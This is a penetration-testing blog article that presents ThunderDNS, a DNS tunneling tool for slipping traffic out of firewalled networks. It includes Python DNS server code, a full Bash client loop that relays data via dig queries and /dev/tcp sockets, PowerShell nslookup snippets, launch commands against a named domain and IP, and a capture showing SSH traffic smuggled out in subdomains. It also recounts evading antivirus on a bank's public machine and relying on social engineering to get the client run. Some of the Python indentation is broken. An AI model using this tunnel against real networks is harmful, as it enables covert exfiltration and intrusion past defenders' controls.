ThunderDNS: How it works

Greetings! During penetration testing projects we often encounter tightly segmented networks that are almost completely isolated from the outside world. Sometimes, to solve this problem it is required of us to forward traffic through the only available protocol - DNS. In this article we will describe how to solve a similar problem in 2018 and types of pitfalls encountered in the process. Additionaly, popular utilities will be considered and the open-source utilities with features that are usually lacking in existing tools will be presented.

What are DNS tunnels?

​​​​​​It happens that the access to the network is sealed off by the firewall, but you really need to transfer data - that is where the the DNS tunneling technique comes to the rescue.

Here is what it looks like on the diagram:

Even with the most stringent firewall settings queries to the DNS can sometimes still pass and can be used by answering them from your server located on the other side. Communication will be extremely slow, but this would be enough to penetrate the organization's local network or to urgently access the Internet via paid Wi-Fi abroad, for example.​​​​​​​

Nowdays on the Internet you can find many utilities for exploitating this technique - each has is own features and bugs. For comparison we have chosen to test five of the most popular ones:

  • dnscat2
  • iodine
  • dns2tcp
  • Heyoka
  • OzymanDNS

More information on how we tested them can be found in our other article. Here we'll show only the results.

Name Incoming speed, kbyte/s Outcoming speed, kbyte/s Advantages Disdvantages
dnscat2 0.7 10 Simple set-up, broad set of functions, support of several sessions Compilable clients, unstable work in Windows
iodine 9.8 9.8 Autoselection of encodings and packet types, high working speed Start-up only with root privileges, compilable client, necessity to install drivers for Windows
dns2tcp 5 13 Not found Compilable client, works in the “inward” tunneling mode
heyoka NaN NaN Not found Difficult start-up
OzymanDNS NaN NaN Not found Difficult start-up

As you can see from the results - it can work, but from the point of view of penetration testing there are limitations:

  • compiled clients - it is much easier to run something interpretable on a machine with antivirus than a binary file;
  • unstable work with Windows;
  • additional software needs to be installed in some cases.

Because of these limitations we had to develop our own tool, and this is how it turned out...

Creating our own utility for DNS tunneling

Back story

It all started during the internal pentest of one bank. In the hall there was a public computer, used for printing documents, references and miscellaneous papers. Our goal was set to get the most out of the machine that was running Windows 7 with “Kaspersky Anti-Virus” on board. It allowed to go only to certain pages but there was also the possibility of resolving DNS names.
After conducting a primary analysis and receiving additional data we developed a strategy with several attack vectors.

Possibilities of exploitings the machine with the help of binary programs were immediately set aside because of the “great and terrible” “Kaspersky” that immediately errased the executable file upon detecting it. However, we were able to get the opportinuty to run scripts on the behalf of a local administrator and the idea of creating a DNS tunnel presented itself.
Conducting a search for possible methods, we developed a client on PowerShell for dnscat2 (we wrote about it earlier). But in the end the max that we were able to get out was establishing a connection for a short time, after which the client would fail.

It upset us greatly, to put it mildly, since in this situation the presence of an interpreted client was simply necessary. Actually, this was one of the reasons for developing our own tool for DNS tunneling.

Requirements

Requirements we set for ourselves:

  • availability of universal (as much as possible) and interpretable clients for Unix and Windows systems. For clients Bash and Powershell languages were chosen respectivly. In the future a Perl client for unix will be implimented;
  • possibility of forwarding traffic from a specific application;
  • support of multiple clients per user.

Architecture of the project

We started developing based on these requirments. In our view, the utility consists of 3 parts: the client on the internal machine, the DNS server, and a small proxy between the pentester application and the DNS server.

To begin with, we decided to forward the tunnel through TXT record

The principle of this operation is quite simple:

  • Pentester starts the DNS server.
  • Pentester (or a user through social engineering) launches the client on the internal machine. Parameters such as the client's name and domain are on the client, as well as the ability to directly specify the IP address of the DNS server.
  • Pentester (from the external network) starts the proxy, where it indicates the IP address of the DNS server, as well as the port where to knock, the IP targets (for example, ssh on the internal network where the client is sitting) and the target port, accordingly. You would also need the client's ID, which you can get by adding the key --clients.
  • Pentester launches the application of interest, naming the proxy port on localhost.

Communication protocol

Let's take a look at a fairly simple protocol for communications beweet the server and the client.

Registration

When the client starts, it is registeres on the server requesting a TXT record through a subdomain of the following format:

0<7 random chars><client name>.<your domain>

0 — registration key
<7 random chars> — to avoid caching DNS records
<client name> — name given to the client at startup
<your domain> — ex.: xakep.ru

In case of successful registration, the client receives a success message in a form of the TXT response, as well as an ID assigned to it, which it will continue to use.

Main cycle

After registering the client begins to poll the server for the availability of new data in the format
1<7 random chars><id>.<your domain>

In the case of the availability of new data in the TXT response, it receives them in the format

<id><target ip>:<target port>:<data in base64>, overwise it returns as <id>ND.


Data loading cycle

The client in the loop checks if the data came from our <target>. In case there is an answer, we read from what has come, a buffer of size N Kb, we divide it into blocks of length 250-<len_of_your_domain>-<number of protocol characters> and send our data block by file in the format: 2<4randomchars><id><block_id>.<data>.<your_domain>

If our block is transmitted successfully, we get OK with some data about the block transferred, and if the buffer transfer is completed, we get ENDBLOCK.

DNS server

The DNS server for tunneling was written in Python3 using the dnslib library, which allows you to easily create your DNS resolver by inheriting from the dnslib.ProxyResolver object and overriding the resolve method).

Gorgeous dnslib allows you to create your ProxyDNS very quickly:

class Resolver(ProxyResolver):

    def __init__(self, upstream):
        super().__init__(upstream, 53, 5) 

    def resolve(self, request, handler): 
        # волшебный метод
        domain_request = DOMAIN_REGEX.findall(str(request.q.qname))
        type_name = QTYPE[request.q.qtype]

        if not domain_request:
            # все DNS запросы, которые не относятся к туннелю, отправляем в другое место: например, в google
            return super().resolve(request, handler)

        # ТУТ КОД, который определяет переменную result

        reply = request.reply()
        reply.add_answer(RR(
          rname=DNSLabel(str(request.q.qname)),
          rtype=QTYPE.TXT,
          rdata=dns.TXT(wrap(result, 255)),   # делим ответ на части по 255 символов, если он большой, соблюдая стандарт
          ttl=300
        ))

        if reply.rr:
            return reply

        if __name__ == '__main__':
            port = int(os.getenv('PORT', 53))
            upstream = os.getenv('UPSTREAM', '8.8.8.8')  # куда отправляем запросы не для туннеля
            resolver = Resolver(upstream)
            udp_server = DNSServer(resolver, port=port)
            tcp_server = DNSServer(resolver, port=port, tcp=True)
            udp_server.start_thread()
            tcp_server.start_thread()
        try:
            while udp_server.isAlive():
            sleep(1)
        except KeyboardInterrupt:
            pass

In resolve (), we could define reactions to DNS requests from the client: registration, requests for new records, reverse data transfers and deletion of the user.

User information is stored in the SQLite database, the clipboard is in RAM and has the following structure (in which the key is the client's number):

{
  {
    "target_ip": "192.168.1.2",
    "target_port": "",
    "socket": None,
    "buffer": None,
    "upstream_buffer": b''
   }, ...
}

To put data from pentester into the buffer, we wrote a small “receiver” which is running in a separate stream. It catches connections from the pentester and performs routing: which client to send requests.

Before starting the server user needs to set only one parameter: DOMAIN_NAME - the name of the domain which the server would work with.

Bash client

For writing the client for Unix systems was chosen Bash, as it is most often found in modern Unix systems. Bash provides the ability to establish connection via / dev / tcp /, even with unprivileged user rights.

We will not analyze each piece of code in detail and will look only at the most interesting moments. The principle of the client is simple. The standard dig utility is used to communicate with the DNS. The client registers on the server, and then, in the eternal cycle, it performs requests using the protocol described earlier. Under this spoiler you can find out more about Bash client.​​​​​​​

Checking whether the connection is established, and if so, the reply function is executed (reading incoming data from the target, splitting and sending to the server).

After that we'll specify whether there is any new data from the server. If it's detected we can check whether the connection needs to be dropped. The break itself occurs when we receive information about the target with ip 0.0.0.0 and port 00. In that case we'll clear the file descriptor (there will be no problems if it has not opened) and will change the target ip to the incoming 0.0.0.0.

while :
do
    if [[ $is_set = 'SET' ]]
        then
        reply
    fi

    data=$(get_data $id)

    if [[ ${data:0:2} = $id ]]
        then

        if [[ ${data:2:2} = 'ND' ]]
            then
            sleep 0.1
        else
            IFS=':' read -r -a data_array <<< $data
            data=${data_array[0]}
            is_id=${data:0:2}
            ip=${data:2}
            port=${data_array[1]}

            if [[ $is_id = $id ]]
                then

                if [[ $ip = '0.0.0.0'  &&  $port = '00' ]]
                    then
                    exec 3<&-
                    exec 3>&-
                    is_set='NOTSET'
                    echo "Connection OFF"
                    last_ip=$ip
                fi

                if [[ $last_ip != $ip  ]]
                    then
                    exec 3<>/dev/tcp/$ip/$port
                    is_set='SET'
                    echo "Connection ON"
                    last_ip=$ip
                fi

                if [[ $is_set = 'SET' ]]
                    then
                    echo -e -n ${data_array[2]} | base64 -d >&3
                fi

            fi
        fi
    fi
done

Next we'll check on the code to see if a new connection needs to established . As soon as the following messages start sending us data for the target we change the target to a new one (in case if the previous ip does not match the current one - after a reset, it will be so) and establish a connection using the exec 3 command <> / dev / tcp / $ ip / $ port, where $ ip - target, $ port - target port.
As a result, if the connection is already established then the incoming piece of data is decoded and flies straight to to the descriptor via the command echo -e -n $ {data_array [2]} | base64 -d> & 3, where $ {data_array [2]} is what we get from the server.

reply() {

    response=$(timeout 0.1 dd bs=2048 count=1 <&3 2> /dev/null | base64 -w0)

    if [[ $response != '' ]]
        then
        debug_echo 'Got response from target server '
        response_len=${#response}
        number_of_blocks=$(( ${response_len} / ${MESSAGE_LEN}))

        if [[ $(($response_len % $MESSAGE_LEN)) = 0 ]]
            then
            number_of_blocks-=1
        fi

        debug_echo 'Sending message back...'
        point=0

        for ((i=$number_of_blocks;i>=0;i--))
        do
            blocks_data=${response:$point:$MESSAGE_LEN}

            if [[ ${#blocks_data} -gt 63 ]]
                then
                localpoint=0

                while :
                do
                    block=${blocks_data:localpoint:63}

                    if [[ $block != '' ]]
                    then
                        dat+=$block.
                        localpoint=$((localpoint + 63))
                    else
                        break
                    fi

                done

                blocks_data=$dat
                dat=''
                point=$((point + MESSAGE_LEN))
            else
                blocks_data+=.
            fi

            while :
            do
                block=$(printf %03d $i)
                check_deliver=$(dig ${HOST} 2$(generate_random 4)$id$block.$blocks_data${DNS_DOMAIN} TXT | grep -oP '\"\K[^\"]+')

                if [[ $check_deliver = 'ENDBLOCK' ]]
                    then
                        debug_echo 'Message delivered!'
                        break
                fi

                IFS=':' read -r -a check_deliver_array <<< $check_deliver
                deliver_data=${check_deliver_array[0]}
                block_check=${deliver_data:2}

                if [[ ${check_deliver_array[1]} = 'OK' ]] && [[ $((10#${deliver_data:2})) = $i ]] && [[ ${deliver_data:0:2} = $id ]]
                then
                    break
                fi

            done
        done
    else
        debug_echo 'Empty message from target server, forward the next package '
    fi

}

Let's consider sending in the reply function. First we count 2048 bytes from the descriptor and immediately encode them in $ (timeout 0.1 dd bs = 2048 count = 1 <& 3 2> / dev / null | base64 -w0). Furthermore, if the answer is empty - we exit the function, otherwise we start the operation on splitting and sending. Let us note that after forming the request for sending through dig, the delivery is going to be checked for success. If case of succes we can exit the cycle, but otherwise we can try until we get the result.​​​​​​​

Powershell client

Since we needed a complete interpretability and ability to work on most current systems, the client-side client for Windows is the standard nslookup utility for communicating via DNS and the System.Net.Sockets.TcpClient object for establishing a connection on the internal network.

Everything is also very simple. Each loop iteration is a call to the nslookup command using the protocol described earlier.

For example, execute the following command to register:

$text = &nslookup -q=TXT $act$seed$clientname$Dot$domain $server 2>$null

If errors occur, we do not show them by sending the error descriptor values to $ null.

nslookup returns with a similar answer:

Then we need to pull out all the lines in quotation marks, for which we pass through them with a regular:

$text = [regex]::Matches($text, '"(.*)"') | %{$_.groups[1].value} | %{$_ -replace '([ "\t]+)',$('') }

Now you can process the received commands.
Each time the IP address of the “victim” changes, a TCP client is created, a connection is established, and a data transfer begins. From the DNS server the base64 information is decoded and bytes are sent to the victim. If the “victim” answered something - we encode, divide into parts and execute nslookup requests according to the protocol. That's it.
When you press Ctrl + C you request to delete the client.

Proxy

Proxy for pentester is a small proxy server on python3.

In the parameters you need to specify the DNS server IP, the port to connect to on the server, the --clients option returns the list of registered clients, --target - target ip, --target_port - target port, --client - client id we are going to work with (seen after execution of --clients), --send_timeout - timeout for sending messages from the application.

When launched with the --clients parameter, the proxy sends a request in the format \ x00GETCLIENTS \ n to the server.
In the case when we start work, when connecting, send a message in the format \ x02RESET: client_id \ n to reset the previous connection. After we send information about our target: \ x01client_id: ip: port: \ n
Further, when sending messages to the client, we send bytes in the \ x03data format, and we simply send raw bytes to the application.
Also, the proxy supports SOCKS5 mode.

What difficulties may occure?

As it can happen with any mechanism, the utility may fail. Let's not forget that a DNS tunnel is a subtle thing and its performance can be influenced by many factors, ranging from network architecture, to connection quality, to your production server.

During testing, we occasionally noticed small failures. For example, with a high print speed + working via ssh you need to configure the --send_timeout parameter, because otherwise the client can stall. Sometimes the connection may not be established the first time, but this is easily treated by restarting the proxy, since with the new connection the past connection will be reset. There were also problems with resolving domains when working with proxychains, however this is also fixable if you specify an additional parameter for proxychains. It is worth noting that at the moment the utility does not control the appearance of unnecessary requests from caching DNS servers, so sometimes the connection may fall, but this is again treated in the manner described above.

Launch

We configure NS records on a domain:

We wait until the cache is updated (up to 5 hours usually).

We start the server:

python3 ./server.py --domain oversec.ru

We launch the client (Bash):
bash ./bash_client.sh -d oversec.ru -n TEST1

Start the client (Win):
PS:> ./ps_client.ps1 -domain oversec.ru -clientname TEST2

Let's look at the list of connected clients:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --clients

Run the proxy:
python3 ./proxy.py --dns 138.197.178.150 --dns_port 9091 --socks5 - local 9090 - client 1

Testing:

After the server and at least one the clients has started, we can access the proxy as if it was our remote machine.
Let's try to simulate the following situation: pentester wants to download a file from the server from a local network of an organization protected by a firewall, while using social engineering methods he could force the DNS client to run inside the network and find out the SSH server password.

Pentester runs a proxy on his machine, indicating the necessary client and then makes similar calls that go to the client, and from the client to the local network.
scp -P9090 -C root @ localhost: /root/dnserver.py test.kek

Let's see what happened:

At the top left you can see the DNS requests that come to the server, on the top right - proxy traffic, on the bottom left - the traffic from the client, and on the bottom right - our application. The speed was pretty decent for a DNS tunnel: 4.9Kb / s using compression.

When launched without compression, the utility showed a speed of 1.8 kb / s:

Let's see what happened:

Lets us look carefully at the DNS server traffic with a help of the tcpdump utility.

tcpdump -i eth0 udp port 53

We can see that everything corresponds to described protocol: the client constantly polls the server if it has any new data for this client using queries of the form 1c6Zx9Vi39.oversec.ru. If there is data, the server responds with a set of TXT records, otherwise% client_num% ND (39ND). The client sends information to the server using the type

28sTx39003.MyNTYtZ2NtQG9wZW5zc2guY29tAAAAbGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc.2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1n.Y21Ab3BlbnNzaC5jb20sYWVzMjU2LWdjbUBvcGVuc3NoLmNvbQAAANV1bWFjLTY.0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1.oversec.ru.

In the following videos you can visually see the work of the utility in conjunction with meterpreter and in SOCKS5 mode.

Summary

Let's draw ​​​​​​​some conclusions. What are the features of this development and why we recommend using it?

  1. Interpreted clients on Bash and Powershell: no EXE files or ELFs that can be problematic to launch.
  2. Connection stability: in the tests, our utility behaved much more stable, and if there were any bugs, you could simply reconnect, while the client did not fall, as in the case of dnscat2, for example.
  3. High enough speed for a DNS tunnel: of course, the speed does not reach iodine, but there is a much lower level compiled solution.
  4. Administrator rights are not required: the Bash client works without administrator rights, and Powershell scripts are sometimes prohibited by security policies, but this is quite easy to manage.
  5. There is a socks5 proxy mode that allows you to do so curl -v --socks5 127.0.0.1:9011 https://ident.me or run nmap on the entire internal network.

Utility code is located here